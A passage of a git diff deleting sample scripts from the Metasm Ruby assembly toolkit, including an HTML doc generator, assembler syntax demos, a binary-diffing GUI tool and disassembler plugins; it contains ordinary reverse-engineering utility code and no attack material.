encoding="us-ascii" ?>'+"\n"+ - '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"'+"\n"+ - IndentAdd*2+'"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">'+"\n"+ - super.to_s - end -end -class Img < Elem - def initialize(src, alt=nil) - super('img', {'src'=>src}, false) - set_attr('alt', alt) if alt - self - end -end -class A < Elem - def initialize(href, text) - super('a', {'href'=>href}, [text]) - end -end -class P < Elem - def initialize(content = nil) - super('p') - add(content) if content - self - end -end -class Div < Elem - def initialize(hclass = nil) - super('div') - hclass(hclass) if hclass - self - end -end -class Span < Elem - def initialize(hclass = nil) - super('span') - hclass(hclass) if hclass - self - end -end -class Stylesheet < Elem - def initialize(href) - super('link', {'rel'=>'stylesheet', 'type'=>'text/css', 'href'=>href}, false) - end -end -class Br < Elem - def initialize - super('br', nil, false) - end -end -class Hr < Elem - def initialize - super('hr', nil, false) - end -end - -class List < Elem - def initialize(*elems) - super('ul') - elems.each { |e| add_line(e) } - end - - def add_line(line) - add(Elem.new('li').add(line)) - self - end -end -end - -class Txt2Html - def initialize(f) - @@done ||= [] - return if @@done.include? f - @@done << f - - raise 'bad path' if (f.split('/') & ['.', '..']).first - - outf = outfilename(f) - puts "compiling #{outf}..." if $VERBOSE - - @pathfix = outf.split('/')[0...-1].map { '../' }.join - out = compile(File.open(f, 'rb') { |fd| fd.read }.gsub("\r", '') + "\n\n") - File.open(outf, 'wb') { |fd| fd.write out.to_s.gsub("\r", '').gsub("\n", "\r\n") } - end - - def outfilename(f) - f.sub(/\.txt$/, '') + '.html' - end - - def compile(raw) - prev = '' - state = {} - anchors = {} - out = Html::Page.new - out.head << Html::Stylesheet.new(@pathfix + 'style.css') - flush = lambda { - out.body << Html::P.new(compile_string(prev)) if prev.length > 0 - [:pre, :list, :par].each { |f| state.delete f } - prev = '' - } - raw.each_line { |l| - case l = l.chomp - when /^([=#*-])\1{3,}$/ - if prev.length > 0 - # title - if not state[:h1] or state[:h1] == $1 - state[:h1] = $1 - e = 'h1' - elsif not state[:h2] or state[:h2] == $1 - state[:h2] = $1 - e = 'h2' - elsif not state[:h3] or state[:h3] == $1 - state[:h3] = $1 - e = 'h3' - else raise "unknown title level after #{prev.inspect}" - end - str = compile_string(prev) - state[:title] ||= str if e == 'h1' - if id = prev[/[a-z]\w+/i] - id = id.downcase - id += '_' while anchors[id] - anchors[id] = true - attr = { 'id' => id } - end - out.body << Html::Elem.new(e, attr).add(str) - prev = '' - flush[] - else - # horizontal rule - out.body << Html::Hr.new - flush[] - end - when /^([*-]+)\s+(.*)/ - # list - bullet = $1 - text = $2 - if lst = state[:list] && state[:list][bullet] - state[:list].delete_if { |k, v| k.length > bullet.length } - else - flush[] if not state[:list] - state[:list] ||= {} - state[:list].delete_if { |k, v| k.length > bullet.length } - lst = state[:list][bullet] = Html::List.new - if pl = state[:list][bullet.chop] - pl.content.last.content << lst - else - out.body << lst - end - end - lst.add_line compile_string(text) - - when /^\s+(\S.*)$/ - # preformatted text - if not pre = state[:pre] - flush[] - pre = state[:pre] = Html::Elem.new('pre') - out.body << pre - end - pre.add compile_string(l) + ["\n"] - when /^\s*$/ - flush[] - else - if state[:list] - lst = state[:list].sort.last[1] - lst.content.last.content << ' ' << compile_string(l) - else - prev << ' ' if prev.length > 0 - prev << l - end - end - } - flush[] - out.head << Html::Elem.new('title').add(state[:title]) if state[:title] - out - end - - # handle **bold_words** *italic* `fixed` <links> **bold__word__with__underscore** - def compile_string(str) - o = [str] - on = [] - o.each { |s| - while s.kind_of? String and o1 = s.index('**') and o2 = s.index('**', o1+2) and not s[o1..o2].index(' ') - on << s[0...o1] << Html::Elem.new('b').add(s[o1+2...o2].tr('_', ' ').gsub(' ', '_')) - s = s[o2+2..-1] - end - on << s - } - o = on - on = [] - o.each { |s| - while s.kind_of? String and o1 = s.index('*') and o2 = s.index('*', o1+1) and not s[o1..o2].index(' ') - on << s[0...o1] << Html::Elem.new('i').add(s[o1+1...o2].tr('_', ' ').gsub(' ', '_')) - s = s[o2+1..-1] - end - on << s - } - o = on - on = [] - o.each { |s| - while s.kind_of? String and o1 = s.index('`') and o2 = s.index('`', o1+1) - on << s[0...o1] << Html::Span.new('quote').add(s[o1+1...o2]) - s = s[o2+1..-1] - end - on << s - } - o = on - on = [] - o.each { |s| - while s.kind_of? String and o1 = s.index('<') and o2 = s.index('>', o1+1) and not s[o1..o2].index(' ') - on << s[0...o1] - lnk = s[o1+1...o2] - s = s[o2+1..-1] - if File.exist? lnk - case lnk[/\.(\w+)$/, 1] - when 'txt' - tg = outfilename(lnk) - Txt2Html.new(lnk) - on << Html::A.new(@pathfix + tg, File.basename(lnk, '.txt').tr('_', ' ').gsub(' ', '_')) - when 'jpg', 'png' - on << Html::Img.new(lnk) - end - else - on << Html::A.new(lnk, lnk) - if lnk =~ /\.txt$/ - @@seen_nofile ||= [] - if not @@seen_nofile.include? lnk - @@seen_nofile << lnk - puts "reference to missing #{lnk.inspect}" - end - on.last.hclass('brokenlink') - end - end - end - on << s - } - o = on - end -end - -if __FILE__ == $0 - $VERBOSE = true if ARGV.delete '-v' - if ARGV.empty? - Dir.chdir(File.expand_path(File.join(File.dirname(__FILE__), '../doc'))) - ARGV.concat Dir['**/index.txt'] - end - ARGV.each { |a| Txt2Html.new(a) } -end diff --git a/lib/metasm/samples/a.out.rb b/lib/metasm/samples/a.out.rb deleted file mode 100644 index a7b0d70b2a..0000000000 --- a/lib/metasm/samples/a.out.rb +++ /dev/null @@ -1,31 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# -# here we build a simple a.out executable -# - -require 'metasm' - -Metasm::AOut.assemble(Metasm::Ia32.new, <<EOS).encode_file('m-a.out') -.text -.entrypoint -mov eax, 4 -mov ebx, 1 - -.data -str db "kikoo\\n" -strend: - -.text -mov ecx, str -mov edx, strend - str -int 80h // linux sys_write - -mov eax, 1 -mov ebx, 42 -int 80h // linux sys_exit -ret -EOS diff --git a/lib/metasm/samples/asmsyntax.rb b/lib/metasm/samples/asmsyntax.rb deleted file mode 100644 index f2b96b9c7f..0000000000 --- a/lib/metasm/samples/asmsyntax.rb +++ /dev/null @@ -1,77 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# this script show the assembler syntax understood by the framework - -require 'metasm' - -edata = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<EOS).encoded -#line 12 // preprocessor directive (useful in case of syntax error) - -// data specification -db 42h ; a single byte -db 'a' ; same thing -dd 0x48, 0x7, 4 dup(0x19) ; 6 double words -dd toto + 4*pre_pad ; data may refer to labels in arbitrary expressions -db "foo", 0 ; null-terminated string -dw "foo", 0 ; null-terminated wide string -dd 0b010111101100 ; binary constant -dd someexternalvar+12 ; an external variable to be fixed up later - -// code -inc ebx -jmp toto -mov eax, [fs:ebx + ((kikoo<<1) - 4*lol)] ; all immediate values can be an arbitrary arithmetic/logic expression -push.i16 0x1234 ; specific opcode forms are defined using this kind of syntax - -// labels -pre_pad: -// parser instructions -.pad 90h ; this statement will be replaced by the right number of 0x90 to honor the next .offset directive -post_pad: - -toto: -.offset 74 + (12-48>>4)*0 ; we are now at 74 bytes from the beginning of the shellcode (db 42h) - ; .offset accepts an arbitrary expression - -.padto toto+38, db 3 dup(0b0110_0110) ; fill space with the specified data structure until 38 bytes after toto (same as .pad + .offset) - -inc eax - -.align 16, dw foobar + 42 - -local1: -1: // a local label (any integer allowed) -jmp 1b // 1b => last '1' label (same as local1) -jmp 1f // 1f => next '1' label (same as local2) - -local2: -1: // local labels can be redefined as often as needed -mov eax, 1b // same as local2 - -ret - -#ifdef BLABLA - you can also use any preprocessor directive (gcc-like syntax) - #pragma include_dir "/some/directory" - #include <foobar> -# elif defined(HOHOHO) && 42 - #error 'infamous error message' -#else - #define test(ic) ((ic) - \ - 4) -#endif - -EOS - -edata.fixup 'foobar' => 1 # fixup the value of 'foobar' -newdata = 'somestring' -edata.patch 'pre_pad', 'post_pad', newdata # replace the (beginning of the) segment beetween the labels by a string -#edata.patch 'pre_pad', 'post_pad', 'waaaaaaaaaay tooooooooooooooooooooooooooooooooooooooooo big !!!!' # raise an error - -edata.fixup 'kikoo' => 8, 'lol' => 42 # fixup the immediate values -edata.fixup 'someexternalvar' => 0x30303030 # fixup the external used in the data segment - -p edata.data # show the resulting raw string diff --git a/lib/metasm/samples/bindiff.rb b/lib/metasm/samples/bindiff.rb deleted file mode 100644 index 5a49df0de1..0000000000 --- a/lib/metasm/samples/bindiff.rb +++ /dev/null @@ -1,554 +0,0 @@ -#!/usr/bin/env ruby -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# This sample implements a trivial binary diffing algorithm between two programs -# the programs have first to be disassembled, and then the diff algorith will -# (try to) identify identical functions in both dasm graphs -# Currently there is NO fuzzy matching whatsoever, so the function graphs have to -# be exactly the same in both programs to be recognized. -# You can still force a comparaison between two functions, but the results will be bad. -# -# This file can be run as a standalone application (eg 'ruby bindiff file1 file2') -# or as a disassembler plugin (see dasm-plugin/bindiff) - -require 'metasm' - -module ::Metasm -class BinDiffWidget < Gui::DrawableWidget - attr_accessor :status - - COLORS = { :same => '8f8', :similar => 'cfc', :badarg => 'fcc', :badop => 'faa', :default => '888' } - - def initialize_widget(d1=nil, d2=nil) - self.dasm1 = d1 if d1 - self.dasm2 = d2 if d2 - @status = nil - end - - def dasm1; @dasm1 end - def dasm1=(d) - @dasm1 = d - @func1 = nil - @funcstat1 = nil - @dasmcol1 = {} - @dasm1.gui.bg_color_callback = lambda { |a1| COLORS[@dasmcol1[a1] || :default] } - @match_func = nil - end - - def dasm2; @dasm2 end - def dasm2=(d) - @dasm2 = d - @func2 = nil - @funcstat1 = nil - @dasmcol2 = {} - @dasm2.gui.bg_color_callback = lambda { |a2| COLORS[@dasmcol2[a2] || :default] } - @match_func = nil - end - - def curaddr1; @dasm1.gui.curaddr end - def curaddr2; @dasm2.gui.curaddr end - def curfunc1; @dasm1.find_function_start(curaddr1) end - def curfunc2; @dasm2.find_function_start(curaddr2) end - def func1; @func1 ||= set_status('funcs 1') { create_funcs(@dasm1) } end - def func2; @func2 ||= set_status('funcs 2') { create_funcs(@dasm2) } end - def funcstat1; @funcstat1 ||= set_status('func stats 1') { create_funcs_stats(func1, @dasm1) } end - def funcstat2; @funcstat2 ||= set_status('func stats 2') { create_funcs_stats(func2, @dasm2) } end - - def paint - draw_string_color(:black, @font_width, 3*@font_height, @status || 'idle') - end - - def gui_update - @dasm1.gui.gui_update rescue nil - @dasm2.gui.gui_update rescue nil - redraw - end - - def set_status(st=nil) - ost = @status - @status = st - redraw - if block_given? - ret = protect { yield } - set_status ost - ret - end - end - - def keypress(key) - case key - when ?A - keypress(?D) - keypress(?f) - keypress(?i) - when ?D - disassemble_all - when ?c - disassemble - when ?C - disassemble(:disassemble_fast) - when ?f - funcstat1 - funcstat2 - when ?g - inputbox('address to go', :text => Expression[@dasm1.gui.curaddr]) { |v| - @dasm1.gui.focus_addr_autocomplete(v) - @dasm2.gui.focus_addr_autocomplete(v) - } - when ?M - show_match_funcs - when ?m - match_one_func(curfunc1, curfunc2) - - when ?r - puts 'reload' - load __FILE__ - gui_update - - when ?Q - Gui.main_quit - end - end - - def keypress_ctrl(key) - case key - when ?C - disassemble(:disassemble_fast_deep) - when ?r - inputbox('code to eval') { |c| messagebox eval(c).inspect[0, 512], 'eval' } - end - end - - def disassemble_all - @func1 = @func2 = @funcstat1 = @funcstat2 = nil - @dasm1.load_plugin 'dasm_all' - @dasm2.load_plugin 'dasm_all' - set_status('dasm_all 1') { @dasm1.dasm_all_section '.text' } - set_status('dasm_all 2') { @dasm2.dasm_all_section '.text' } - gui_update - end - - def disassemble(method=:disassemble) - @func1 = @func2 = @funcstat1 = @funcstat2 = nil - set_status('dasm 1') { - @dasm1.send(method, curaddr1) - @dasm1.gui.focus_addr(curaddr1, :graph) - } - set_status('dasm 2') { - @dasm2.send(method, curaddr2) - @dasm2.gui.focus_addr(curaddr2, :graph) - } - gui_update - end - - - def show_match_funcs - match_funcs - - gui_update - Gui.main_iter - list = [['addr 1', 'addr 2', 'score']] - f1 = func1.keys - f2 = func2.keys - match_funcs.each { |a1, (a2, s)| - list << [(@dasm1.get_label_at(a1) || Expression[a1]), (@dasm2.get_label_at(a2) || Expression[a2]), '%.4f' % s] - f1.delete a1 - f2.delete a2 - } - f1.each { |a1| list << [(@dasm1.get_label_at(a1) || Expression[a1]), '?', 'nomatch'] } - f2.each { |a2| list << ['?', (@dasm2.get_label_at(a2) || Expression[a2]), 'nomatch'] } - listwindow("matches", list) { |i| @dasm1.gui.focus_addr i[0], nil, true ; @dasm2.gui.focus_addr i[1], nil, true } - end - - # func addr => { funcblock => list of funcblock to } - def create_funcs(dasm) - f = {} - dasm.entrypoints.to_a.each { |ep| dasm.function[ep] ||= DecodedFunction.new } - dasm.function.each_key { |a| - next if not dasm.di_at(a) - f[a] = create_func(dasm, a) - Gui.main_iter - } - f - end - - def create_func(dasm, a) - h = {} - todo = [a] - while a = todo.pop - next if h[a] - h[a] = [] - dasm.decoded[a].block.each_to_samefunc(dasm) { |ta| - next if not dasm.di_at(ta) - todo << ta - h[a] << ta - } - end - h - end - - def create_funcs_stats(f, dasm) - fs = {} - f.each { |a, g| - fs[a] = create_func_stats(dasm, a, g) - Gui.main_iter - } - fs - end - - def create_func_stats(dasm, a, g) - s = {} - s[:blocks] = g.length - - s[:edges] = 0 # nr of edges - s[:leaves] = 0 # nr of nodes with no successor - s[:ext_calls] = 0 # nr of jumps out_of_func - s[:loops] = 0 # nr of jump back - - todo = [a] - done = [] - while aa = todo.pop - next if done.include? aa - done << aa - todo.concat g[aa] - - s[:edges] += g[aa].length - s[:leaves] += 1 if g[aa].empty? - dasm.decoded[aa].block.each_to_otherfunc(dasm) { s[:ext_calls] += 1 } - end - - # loop detection - # find the longest distance to the root w/o loops - g = g.dup - while eliminate_one_loop(a, g) - s[:loops] += 1 - end - - s - end - - def eliminate_one_loop(a, g) - stack = [] - index = {} - reach_index = {} - done = false - - curindex = 0 - - trajan = lambda { |e| - index[e] = curindex - reach_index[e] = curindex - curindex += 1 - stack << e - g[e].each { |ne| - if not index[ne] - trajan[ne] - break if done - reach_index[e] = [reach_index[e], reach_index[ne]].min - elsif stack.include? ne - reach_index[e] = [reach_index[e], reach_index[ne]].min - end - } - break if done - if index[e] == reach_index[e] - if (e == stack.last and not g[e].include? e) - stack.pop - next - end - # e is the entry in the loop, cut the loop here - tail = reach_index.keys.find { |ee| reach_index[ee] == index[e] and g[ee].include? e } - g[tail] -= [e] # patch g, but don't modify the original g value (ie -= instead of delete) - done = true # one loop found & removed, try again - end - } - - trajan[a] - done - end - - def rematch_funcs - @match_funcs = nil - match_funcs - end - - def match_funcs - @match_funcs ||= {} - - layout_match = {} - - set_status('match func layout') { - funcstat1.each { |a, s| - next if @match_funcs[a] - layout_match[a] = [] - funcstat2.each { |aa, ss| - layout_match[a] << aa if s == ss - } - Gui.main_iter - } - } - - set_status('match funcs') { - # refine the layout matching with actual function matching - already_matched = [] - layout_match.each { |f1, list| -puts "matching #{Expression[f1]}" if $VERBOSE -begin - f2 = (list - already_matched).sort_by { |f| match_func(f1, f, false, false) }.first - if f2 - already_matched << f2 - score = match_func(f1, f2) - @match_funcs[f1] = [f2, score] - end -rescue Interrupt - puts 'abort this one' - sleep 0.2 # allow a 2nd ^c do escalate -end - Gui.main_iter - } - } - - puts "matched #{@match_funcs.length} - unmatched #{func1.length - @match_funcs.length}" - @match_funcs - end - - def match_one_func(a1, a2) - s = match_func(a1, a2) - puts "match score: #{s}" - @match_funcs ||= {} - @match_funcs[a1] = [a2, s] - gui_update - end - - # return how much match a func in d1 and a func in d2 - def match_func(a1, a2, do_colorize=true, verb=true) - f1 = func1[a1] - f2 = func2[a2] - raise "dasm1 has no function at #{Expression[a1]}" if not f1 - raise "dasm2 has no function at #{Expression[a2]}" if not f2 - todo1 = [a1] - todo2 = [a2] - done1 = [] - done2 = [] - score = 0.0 # average of the (local best) match_block scores - score += 0.01 if @dasm1.get_label_at(a1) != @dasm2.get_label_at(a2) # for thunks - score_div = [f1.length, f2.length].max.to_f - # XXX this is stupid and only good for perfect matches (and even then it may fail) - # TODO handle block split etc (eg instr-level diff VS block-level) - while a1 = todo1.shift - next if done1.include? a1 - t = todo2.map { |a| [a, match_block(@dasm1.decoded[a1].block, @dasm2.decoded[a].block)] } - a2 = t.sort_by { |a, s| s }.first - if not a2 - break - end - score += a2[1] / score_div - a2 = a2[0] - done1 << a1 - done2 << a2 - todo1.concat f1[a1] - todo2.concat f2[a2] - todo2 -= done2 - colorize_blocks(a1, a2) if do_colorize - end - - score += (f1.length - f2.length).abs * 3 / score_div # block count difference -> +3 per block - - score - end - - def match_block(b1, b2) - # 0 = perfect match (same opcodes, same args) - # 1 = same opcodes, same arg type - # 2 = same opcodes, diff argtypes - # 3 = some opcode difference - # 4 = full block difference - score = 0 - score_div = [b1.list.length, b2.list.length].max.to_f - common_start = 0 - common_end = 0 - - # basic diff-style: compare start while it's good, then end, then whats left - # should handle most simples cases well - len = [b1.list.length, b2.list.length].min - while common_start < len and (s = match_instr(b1.list[common_start], b2.list[common_start])) <= 1 - score += s / score_div - common_start += 1 - end - - while common_start+common_end < len and (s = match_instr(b1.list[-1-common_end], b2.list[-1-common_end])) <= 1 - score += s / score_div - common_end += 1 - end - - # TODO improve the middle part matching (allow insertions/suppressions/swapping) - b1.list[common_start..-1-common_end].zip(b2.list[common_start..-1-common_end]).each { |di1, di2| - score += match_instr(di1, di2) / score_div - } - - yield(common_start, common_end) if block_given? # used by colorize_blocks - - score += (b1.list.length - b2.list.length).abs * 3 / score_div # instr count difference -> +3 per instr - - score - end - - def colorize_blocks(a1, a2) - b1 = @dasm1.decoded[a1].block - b2 = @dasm2.decoded[a2].block - - common_start = common_end = 0 - match_block(b1, b2) { |a, b| common_start = a ; common_end = b } - - b1.list[0..-1-common_end].zip(b2.list[0..-1-common_end]).each { |di1, di2| - next if not di1 or not di2 - @dasmcol1[di1.address] = @dasmcol2[di2.address] = [:same, :similar, :badarg, :badop][match_instr(di1, di2)] - } - b1.list[-common_end..-1].zip(b2.list[-common_end..-1]).each { |di1, di2| - next if not di1 or not di2 - @dasmcol1[di1.address] = @dasmcol2[di2.address] = [:same, :similar, :badarg, :badop][match_instr(di1, di2)] - } - end - - def match_instr(di1, di2) - if not di1 or not di2 or di1.opcode.name != di2.opcode.name - 3 - elsif di1.instruction.args.map { |a| a.class } != di2.instruction.args.map { |a| a.class } - 2 - elsif di1.instruction.to_s.gsub(/loc_\w+/, 'loc_') != di2.instruction.to_s.gsub(/loc_\w+/, 'loc_') # local labels TODO compare blocks targeted - 1 - else - 0 - end - end - - # show in window 1 the match of the function found in win 2 - def sync1 - c2 = curfunc2 - if a1 = match_funcs.find_key { |k| match_funcs[k][0] == c2 } - @dasm1.gui.focus_addr(a1) - end - end - - def sync2 - if a2 = match_funcs[curfunc1] - @dasm2.gui.focus_addr(a2[0]) - end - end -end - -class BinDiffWindow < Gui::Window - def initialize_window(d1=nil, d2=nil) - self.widget = BinDiffWidget.new(d1, d2) - end - - def build_menu - menu = new_menu - addsubmenu(menu, 'load file 1') { openfile('file 1') { |f| loadfile1(f) } } - addsubmenu(menu, 'load file 2') { openfile('file 2') { |f| loadfile2(f) } } - addsubmenu(menu) - addsubmenu(menu, '_disassemble from there', '^C') { widget.disassemble(:disassemble_fast_deep) } - addsubmenu(menu, 'co_mpare current functions', 'm') { widget.match_one_func(widget.curfunc1, widget.curfunc2) } - addsubmenu(menu, 'compare all funct_ions', 'M') { widget.show_match_funcs } - addsubmenu(menu, '_goto', 'g') { widget.keypress ?g } - addsubmenu(menu) - addsubmenu(menu, 'sync win 2', '2') { widget.sync2 } - addsubmenu(menu, 'sync win 1', '1') { widget.sync1 } - addsubmenu(menu) - addsubmenu(menu, '_quit', 'Q') { Gui.main_quit } - - addsubmenu(@menu, '_File', menu) - end - - def loadfile1(f) - exe = AutoExe.orshellcode { Ia32.new }.decode_file(f) - d = exe.init_disassembler - Gui::DasmWindow.new("bindiff - 1 - #{f}").display(d) - widget.dasm1 = d - end - - def loadfile2(f) - exe = AutoExe.orshellcode { Ia32.new }.decode_file(f) - d = exe.init_disassembler - Gui::DasmWindow.new("bindiff - 2 - #{f}").display(d) - widget.dasm2 = d - end -end -end - -if $0 == __FILE__ and not defined? $bindiff_loaded -# allow reloading the file for easier diff algorithm test -$bindiff_loaded = true - -require 'optparse' - -$VERBOSE = true - -# parse arguments -opts = {} -OptionParser.new { |opt| - opt.banner = 'Usage: bindiff.rb [options] <executable> [<entrypoints>]' - opt.on('-P <plugin>', '--plugin <plugin>', 'load a metasm disassembler plugin') { |h| (opts[:plugin] ||= []) << h } - opt.on('-e <code>', '--eval <code>', 'eval a ruby code') { |h| (opts[:hookstr] ||= []) << h } - opt.on('--map1 <mapfile>', 'load a map file (addr <-> name association)') { |f| opts[:map1] = f } - opt.on('--map2 <mapfile>', 'load a map file (addr <-> name association)') { |f| opts[:map2] = f } - opt.on('-c <header>', '--c-header <header>', 'read C function prototypes (for external library functions)') { |h| opts[:cheader] = h } - opt.on('-a', '--autoload', 'loads all relevant files with same filename (.h, .map..)') { opts[:autoload] = true } - opt.on('-v', '--verbose') { $VERBOSE = true } # default - opt.on('-q', '--no-verbose') { $VERBOSE = false } - opt.on('-d', '--debug') { $DEBUG = $VERBOSE = true } - opt.on('-A', 'match everything on start') { opts[:doit] = true } -}.parse!(ARGV) - -if exename1 = ARGV.shift - w1 = Metasm::Gui::DasmWindow.new("#{exename1} - bindiff1 - metasm disassembler") - exe1 = w1.loadfile(exename1) - if opts[:autoload] - basename1 = exename1.sub(/\.\w\w?\w?$/, '') - opts[:map1] ||= basename1 + '.map' if File.exist?(basename1 + '.map') - opts[:cheader] ||= basename1 + '.h' if File.exist?(basename1 + '.h') - end -end - -if exename2 = ARGV.shift - w2 = Metasm::Gui::DasmWindow.new("#{exename2} - bindiff2 - metasm disassembler") - exe2 = w2.loadfile(exename2) - if opts[:autoload] - basename2 = exename2.sub(/\.\w\w?\w?$/, '') - opts[:map2] ||= basename2 + '.map' if File.exist?(basename2 + '.map') - opts[:cheader] ||= basename2 + '.h' if File.exist?(basename2 + '.h') - end -end - -if exe1 - dasm1 = exe1.init_disassembler - dasm1.load_map opts[:map1] if opts[:map1] - dasm1.parse_c_file opts[:cheader] if opts[:cheader] -end - -if exe2 - dasm2 = exe2.init_disassembler - dasm2.load_map opts[:map2] if opts[:map2] - dasm2.parse_c_file opts[:cheader] if opts[:cheader] -end - -ep = ARGV.dup - -w1.dasm_widget.focus_addr ep.first if w1 and not ep.empty? -w2.dasm_widget.focus_addr ep.first if w2 and not ep.empty? - -opts[:plugin].to_a.each { |p| dasm1.load_plugin(p) if dasm1 ; dasm2.load_plugin(p) if dasm2 } -opts[:hookstr].to_a.each { |f| eval f } - -ep.each { |e| dasm1.disassemble_fast_deep(e) if dasm1 ; dasm2.disassemble_fast_deep(e) if dasm2 } - -bd = Metasm::BinDiffWindow.new(dasm1, dasm2) - -bd.widget.keypress ?A if opts[:doit] - -Metasm::Gui.main - -end diff --git a/lib/metasm/samples/compilation-steps.rb b/lib/metasm/samples/compilation-steps.rb deleted file mode 100644 index 5246367f82..0000000000 --- a/lib/metasm/samples/compilation-steps.rb +++ /dev/null @@ -1,49 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# shows the compilation phase step by step: c, simplified c, asm - -require 'metasm' -require 'optparse' - -opts = { :cpu => 'Ia32', :exe => 'Shellcode', :macros => {} } -OptionParser.new { |opt| - opt.on('--pic', 'generate position-independant code') { opts[:pic] = true } - opt.on('--cpu cpu') { |c| opts[:cpu] = c } - opt.on('--exe exe') { |e| opts[:exe] = e } - opt.on('-D var=val', 'define a preprocessor macro') { |v| v0, v1 = v.split('=', 2) ; opts[:macros][v0] = v1 } - opt.on('-v') { $VERBOSE = true } - opt.on('-d') { $VERBOSE = $DEBUG = true } - opt.on('-e src') { |s| opts[:src] = s } -}.parse!(ARGV) - -src = opts[:src] || (ARGV.empty? ? <<EOS : ARGF.read) -void foo(int); -void bla() -{ - int i = 10; - while (--i) - foo(i); -} -EOS - -pp = opts[:macros].map { |k, v| "#define #{k} #{v}" }.join("\n") - -cpu = Metasm.const_get(opts[:cpu]).new -exe = Metasm.const_get(opts[:exe]).new(cpu) -cpu.generate_PIC = false unless opts[:pic] - -cp = Metasm::C::Parser.new(exe) -cp.parse pp -cp.parse src -puts cp, '', ' ----', '' - -cp.precompile -puts cp, '', ' ----', '' - -cp = Metasm::C::Parser.new(exe) -cp.parse pp -cp.parse src -puts cpu.new_ccompiler(cp).compile diff --git a/lib/metasm/samples/cparser_makestackoffset.rb b/lib/metasm/samples/cparser_makestackoffset.rb deleted file mode 100644 index 52d8bd0b17..0000000000 --- a/lib/metasm/samples/cparser_makestackoffset.rb +++ /dev/null @@ -1,55 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# -# This script takes a C header or a path to a Visual Studio install and -# outputs a ruby source file defining StackOffsets, a hash used by the disassembler -# In verbose mode (ruby -v), instead dumps the parsed header (+ warnings) -# - -require 'metasm' - -filename = ARGV.shift -abort "usage: #$0 filename" if not File.exist? filename - -# path to visual studio install directory -if File.directory? filename - src = <<EOS -// add the path to the visual studio std headers -#ifdef __METASM__ - #pragma include_dir #{(filename+'/VC/platformsdk/include').inspect} - #pragma include_dir #{(filename+'/VC/include').inspect} - #pragma prepare_visualstudio - #pragma no_warn_redefinition -#endif - -#define WIN32_LEAN_AND_MEAN -#include <windows.h> -EOS -else - # standalone header - src = File.read(filename) -end - -include Metasm - -cp = Ia32.new.new_cparser.parse(src) - -if not $VERBOSE -funcs = cp.toplevel.symbol.values.grep(C::Variable).reject { |v| v.initializer or not v.type.kind_of? C::Function } - -puts 'module Metasm' -puts 'StackOffsets = {' -align = lambda { |val| (val + cp.typesize[:ptr] - 1) / cp.typesize[:ptr] * cp.typesize[:ptr] } -puts funcs.find_all { |f| f.attributes and f.attributes.include? 'stdcall' and f.type.args }.sort_by { |f| f.name }.map { |f| - "#{f.name.inspect} => #{f.type.args.inject(0) { |sum, arg| sum + align[cp.sizeof(arg)] }}" -}.join(",\n") -puts '}' -puts 'end' -else - # dump the full parsed header - puts cp.lexer.dump_macros(cp.lexer.definition.keys, false), '', '', cp -end diff --git a/lib/metasm/samples/dasm-backtrack.rb b/lib/metasm/samples/dasm-backtrack.rb deleted file mode 100644 index c5cbf28fa9..0000000000 --- a/lib/metasm/samples/dasm-backtrack.rb +++ /dev/null @@ -1,38 +0,0 @@ -#!/usr/bin/env ruby -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# -# quick demonstration that the disassembler's backtracker works -# - -require 'metasm' -Metasm.require 'samples/metasm-shell' - -puts <<EOS.encode.decode -.base_addr 0 - -; compute jump target -mov ebx, 0x12345678 -mov eax, ((toto + 12) ^ 0x12345678) -xor eax, ebx -sub eax, 12 - -; jump -call eax - -; trap -add eax, 42 -; die, you vile reverser ! -db 0e9h - -; real target -toto: -mov eax, 28h -pop ebx -ret - -EOS diff --git a/lib/metasm/samples/dasm-plugins/bindiff.rb b/lib/metasm/samples/dasm-plugins/bindiff.rb deleted file mode 100644 index e2bd53267d..0000000000 --- a/lib/metasm/samples/dasm-plugins/bindiff.rb +++ /dev/null @@ -1,15 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# metasm dasm plugin: asks to load a second program, and unleash the samples/bindiff fury -# usage: load the plugin, and a 2nd binary, disassemble functions in both, diff'em - -require File.join(Metasm::Metasmdir, 'samples', 'bindiff.rb') - -Gui::DasmWindow.new("bindiff target").promptopen("chose bindiff target") { |w| - w.title = "#{w.widget.dasm.program.filename} - metasm bindiff" - @bindiff_win = BinDiffWindow.new(self, w.widget.dasm) -} - diff --git a/lib/metasm/samples/dasm-plugins/bookmark.rb b/lib/metasm/samples/dasm-plugins/bookmark.rb deleted file mode 100644 index ad7afcf1a2..0000000000 --- a/lib/metasm/samples/dasm-plugins/bookmark.rb +++ /dev/null @@ -1,133 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# metasm dasm GUI plugin: -# pops a list of bookmarked functions -# also allows the custom coloration of blocks/functions - -if gui - class ColorWindow < Metasm::Gui::ToolWindow - def initialize_window(&b) - self.title = 'pick a color' - self.widget = ColorWidget.new(&b) - end - end - - class ColorWidget < Metasm::Gui::DrawableWidget - attr_accessor :ph, :pw - def initialize_widget(&b) - super() - @action = b - @pw = 3 - @ph = 8 - end - - def initial_size - [@pw*256, @ph*16] - end - - def paint - 0x100.times { |x| - cx = x - if x & 0x10 > 0 - cx = (x&0xf0) + (15-(x&0xf)) - end - 0x10.times { |y| - col = '%02x%x' % [cx, y] - 